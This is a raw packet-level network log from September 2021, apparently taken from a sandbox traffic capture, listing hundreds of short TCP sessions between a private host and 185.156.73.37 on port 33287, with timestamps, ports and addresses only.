Sep 3, 2021 10:58:04.777894974 CEST	33287	49985	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:04.778579950 CEST	49985	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:04.778610945 CEST	49985	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:04.778614044 CEST	49985	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:04.814340115 CEST	33287	49985	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:04.814862967 CEST	49985	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:04.887604952 CEST	49986	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:04.923656940 CEST	33287	49986	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:04.924160957 CEST	49986	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:04.924936056 CEST	49986	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:04.961410999 CEST	33287	49986	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:04.961441994 CEST	33287	49986	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:04.961570978 CEST	49986	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:04.997950077 CEST	33287	49986	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:04.998120070 CEST	49986	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:04.998713017 CEST	49986	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:05.002655983 CEST	49986	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:05.038441896 CEST	33287	49986	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:05.039165974 CEST	33287	49986	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:05.039190054 CEST	33287	49986	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:05.039258957 CEST	49986	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:05.039300919 CEST	49986	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:05.039804935 CEST	49986	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:05.039855003 CEST	49986	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:05.075576067 CEST	33287	49986	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:05.075743914 CEST	49986	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:05.153629065 CEST	49987	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:05.186724901 CEST	33287	49987	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:05.186887980 CEST	49987	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:05.187715054 CEST	49987	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:05.220698118 CEST	33287	49987	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:05.220726967 CEST	33287	49987	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:05.220840931 CEST	49987	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:05.254281998 CEST	33287	49987	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:05.254467010 CEST	49987	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:05.255486965 CEST	49987	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:05.258543968 CEST	49987	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:05.291801929 CEST	33287	49987	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:05.292053938 CEST	33287	49987	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:05.292071104 CEST	33287	49987	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:05.292155981 CEST	49987	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:05.292184114 CEST	49987	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:05.292819977 CEST	49987	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:05.292834997 CEST	49987	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:05.325809956 CEST	33287	49987	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:05.326119900 CEST	49987	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:05.404623985 CEST	49988	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:05.437810898 CEST	33287	49988	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:05.437951088 CEST	49988	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:05.438826084 CEST	49988	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:05.471693039 CEST	33287	49988	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:05.471718073 CEST	33287	49988	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:05.471801043 CEST	49988	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:05.505155087 CEST	33287	49988	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:05.505307913 CEST	49988	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:05.505918026 CEST	49988	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:05.509718895 CEST	49988	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:05.545259953 CEST	33287	49988	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:05.545819998 CEST	33287	49988	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:05.545842886 CEST	33287	49988	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:05.545947075 CEST	49988	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:05.546401978 CEST	49988	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:05.546437979 CEST	49988	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:05.582386971 CEST	33287	49988	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:05.582456112 CEST	49988	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:05.653476954 CEST	49989	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:05.687927008 CEST	33287	49989	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:05.688111067 CEST	49989	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:05.689202070 CEST	49989	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:05.723063946 CEST	33287	49989	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:05.723097086 CEST	33287	49989	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:05.723170996 CEST	49989	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:05.756359100 CEST	33287	49989	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:05.756560087 CEST	49989	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:05.757280111 CEST	49989	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:05.761564016 CEST	49989	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:05.799510002 CEST	33287	49989	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:05.799537897 CEST	33287	49989	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:05.799554110 CEST	33287	49989	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:05.799690962 CEST	49989	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:05.800326109 CEST	49989	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:05.800342083 CEST	49989	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:05.834541082 CEST	33287	49989	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:05.834731102 CEST	49989	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:05.904237032 CEST	49990	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:05.936897993 CEST	33287	49990	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:05.937011003 CEST	49990	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:05.941297054 CEST	49990	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:05.974277020 CEST	33287	49990	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:05.974317074 CEST	33287	49990	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:05.974384069 CEST	49990	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:06.008125067 CEST	33287	49990	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:06.008202076 CEST	49990	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:06.009193897 CEST	49990	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:06.014333010 CEST	49990	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:06.047046900 CEST	33287	49990	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:06.047519922 CEST	33287	49990	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:06.047534943 CEST	33287	49990	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:06.047631025 CEST	49990	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:06.048360109 CEST	49990	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:06.048445940 CEST	49990	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:06.081799030 CEST	33287	49990	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:06.081922054 CEST	49990	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:06.153650999 CEST	49991	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:06.187905073 CEST	33287	49991	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:06.188874006 CEST	49991	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:06.188918114 CEST	49991	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:06.222523928 CEST	33287	49991	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:06.223073959 CEST	33287	49991	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:06.224181890 CEST	49991	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:06.257894993 CEST	33287	49991	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:06.258503914 CEST	49991	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:06.258536100 CEST	49991	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:06.263159990 CEST	49991	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:06.299335957 CEST	33287	49991	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:06.299365997 CEST	33287	49991	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:06.299377918 CEST	33287	49991	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:06.299498081 CEST	49991	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:06.300050020 CEST	49991	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:06.301065922 CEST	49991	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:06.333417892 CEST	33287	49991	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:06.335191011 CEST	49991	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:06.404170036 CEST	49992	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:06.445818901 CEST	33287	49992	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:06.447015047 CEST	49992	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:06.447036028 CEST	49992	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:06.487395048 CEST	33287	49992	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:06.490120888 CEST	33287	49992	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:06.498927116 CEST	49992	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:06.778285027 CEST	33287	49992	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:06.778515100 CEST	49992	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:06.779457092 CEST	49992	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:06.785088062 CEST	49992	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:06.821127892 CEST	33287	49992	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:06.822027922 CEST	33287	49992	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:06.822052002 CEST	33287	49992	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:06.822240114 CEST	49992	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:06.822360039 CEST	49992	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:06.823018074 CEST	49992	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:06.823061943 CEST	49992	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:06.864382029 CEST	33287	49992	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:06.867402077 CEST	49992	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:06.935359955 CEST	49993	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:06.971414089 CEST	33287	49993	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:06.971648932 CEST	49993	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:06.973378897 CEST	49993	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:07.009465933 CEST	33287	49993	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:07.009483099 CEST	33287	49993	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:07.009592056 CEST	49993	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:07.045717955 CEST	33287	49993	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:07.046042919 CEST	49993	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:07.046561956 CEST	49993	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:07.050565958 CEST	49993	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:07.086770058 CEST	33287	49993	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:07.087291002 CEST	33287	49993	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:07.087307930 CEST	33287	49993	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:07.087532997 CEST	49993	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:07.088253021 CEST	49993	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:07.088546991 CEST	49993	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:07.124330997 CEST	33287	49993	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:07.124433041 CEST	49993	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:07.200795889 CEST	49994	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:07.233968019 CEST	33287	49994	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:07.234292984 CEST	49994	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:07.235069990 CEST	49994	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:07.268100023 CEST	33287	49994	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:07.268145084 CEST	33287	49994	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:07.268307924 CEST	49994	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:07.301563025 CEST	33287	49994	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:07.301873922 CEST	49994	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:07.302476883 CEST	49994	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:07.306791067 CEST	49994	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:07.342534065 CEST	33287	49994	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:07.342664003 CEST	33287	49994	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:07.342705011 CEST	33287	49994	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:07.342798948 CEST	49994	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:07.342869043 CEST	49994	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:07.343605042 CEST	49994	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:07.343633890 CEST	49994	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:07.379637957 CEST	33287	49994	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:07.379765987 CEST	49994	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:07.450843096 CEST	49995	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:07.484888077 CEST	33287	49995	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:07.485168934 CEST	49995	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:07.485896111 CEST	49995	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:07.519161940 CEST	33287	49995	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:07.519193888 CEST	33287	49995	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:07.519280910 CEST	49995	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:07.553380013 CEST	33287	49995	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:07.553556919 CEST	49995	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:07.554141998 CEST	49995	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:07.558106899 CEST	49995	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:07.591490984 CEST	33287	49995	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:07.592227936 CEST	33287	49995	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:07.592349052 CEST	33287	49995	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:07.592371941 CEST	49995	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:07.592421055 CEST	49995	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:07.593075991 CEST	49995	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:07.593122959 CEST	49995	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:07.626281023 CEST	33287	49995	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:07.626485109 CEST	49995	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:07.700319052 CEST	49996	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:07.733830929 CEST	33287	49996	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:07.734098911 CEST	49996	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:07.734833956 CEST	49996	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:07.767816067 CEST	33287	49996	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:07.768727064 CEST	33287	49996	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:07.769109964 CEST	49996	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:07.802124977 CEST	33287	49996	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:07.802289009 CEST	49996	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:07.802913904 CEST	49996	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:07.806854963 CEST	49996	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:07.840287924 CEST	33287	49996	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:07.840636969 CEST	33287	49996	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:07.840662956 CEST	33287	49996	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:07.840802908 CEST	49996	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:07.840938091 CEST	49996	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:07.841495037 CEST	49996	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:07.841550112 CEST	49996	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:07.874855995 CEST	33287	49996	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:07.875006914 CEST	49996	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:07.950081110 CEST	49997	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:07.983228922 CEST	33287	49997	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:07.983409882 CEST	49997	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:07.984085083 CEST	49997	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:08.017646074 CEST	33287	49997	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:08.018469095 CEST	33287	49997	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:08.018577099 CEST	49997	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:08.059561014 CEST	33287	49997	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:08.059779882 CEST	49997	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:08.060574055 CEST	49997	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:08.069996119 CEST	49997	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:08.126472950 CEST	33287	49997	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:08.145452023 CEST	33287	49997	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:08.145486116 CEST	33287	49997	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:08.145601034 CEST	49997	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:08.146560907 CEST	49997	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:08.146666050 CEST	49997	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:08.174197912 CEST	33287	49997	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:08.174308062 CEST	49997	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:08.191215992 CEST	33287	49997	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:08.191356897 CEST	49997	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:08.262571096 CEST	49998	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:08.295805931 CEST	33287	49998	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:08.295993090 CEST	49998	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:08.296704054 CEST	49998	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:08.329519987 CEST	33287	49998	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:08.329561949 CEST	33287	49998	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:08.329679012 CEST	49998	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:08.362549067 CEST	33287	49998	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:08.362782001 CEST	49998	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:08.363500118 CEST	49998	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:08.366945982 CEST	49998	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:08.399945021 CEST	33287	49998	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:08.400418997 CEST	33287	49998	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:08.400439978 CEST	33287	49998	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:08.400597095 CEST	49998	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:08.400660038 CEST	49998	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:08.401223898 CEST	49998	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:08.401283026 CEST	49998	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:08.437141895 CEST	33287	49998	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:08.437304020 CEST	49998	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:08.520068884 CEST	49999	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:08.555913925 CEST	33287	49999	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:08.558180094 CEST	49999	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:08.558207989 CEST	49999	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:08.594425917 CEST	33287	49999	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:08.597234011 CEST	33287	49999	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:08.601192951 CEST	49999	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:08.642628908 CEST	33287	49999	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:08.642781973 CEST	49999	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:08.643389940 CEST	49999	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:08.647975922 CEST	49999	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:08.683892012 CEST	33287	49999	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:08.684628963 CEST	33287	49999	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:08.684693098 CEST	33287	49999	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:08.684695959 CEST	49999	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:08.684742928 CEST	49999	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:08.685332060 CEST	49999	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:08.685386896 CEST	49999	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:08.720999002 CEST	33287	49999	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:08.721079111 CEST	49999	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:08.793664932 CEST	50000	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:08.826694012 CEST	33287	50000	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:08.826822042 CEST	50000	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:08.827620983 CEST	50000	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:08.860200882 CEST	33287	50000	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:08.860227108 CEST	33287	50000	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:08.860528946 CEST	50000	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:08.893110991 CEST	33287	50000	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:08.893229961 CEST	50000	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:08.893714905 CEST	50000	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:08.897449017 CEST	50000	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:08.930116892 CEST	33287	50000	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:08.930421114 CEST	33287	50000	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:08.930438995 CEST	33287	50000	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:08.930493116 CEST	50000	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:08.930525064 CEST	50000	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:08.930907011 CEST	50000	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:08.930932999 CEST	50000	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:08.963793039 CEST	33287	50000	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:08.963885069 CEST	50000	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:09.045165062 CEST	50001	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:09.079817057 CEST	33287	50001	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:09.080035925 CEST	50001	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:09.080677032 CEST	50001	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:09.113768101 CEST	33287	50001	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:09.113935947 CEST	33287	50001	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:09.114151955 CEST	50001	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:09.147238970 CEST	33287	50001	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:09.148076057 CEST	50001	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:09.148119926 CEST	50001	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:09.155023098 CEST	50001	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:09.187964916 CEST	33287	50001	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:09.189552069 CEST	33287	50001	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:09.189640045 CEST	50001	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:09.190079927 CEST	33287	50001	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:09.190980911 CEST	50001	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:09.292459965 CEST	49980	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:09.292524099 CEST	49980	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:09.294122934 CEST	50002	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:09.325628996 CEST	33287	49980	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:09.325748920 CEST	49980	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:09.326678038 CEST	33287	50002	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:09.326791048 CEST	50002	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:09.327761889 CEST	50002	33287	192.168.2.5	185.156.73.37
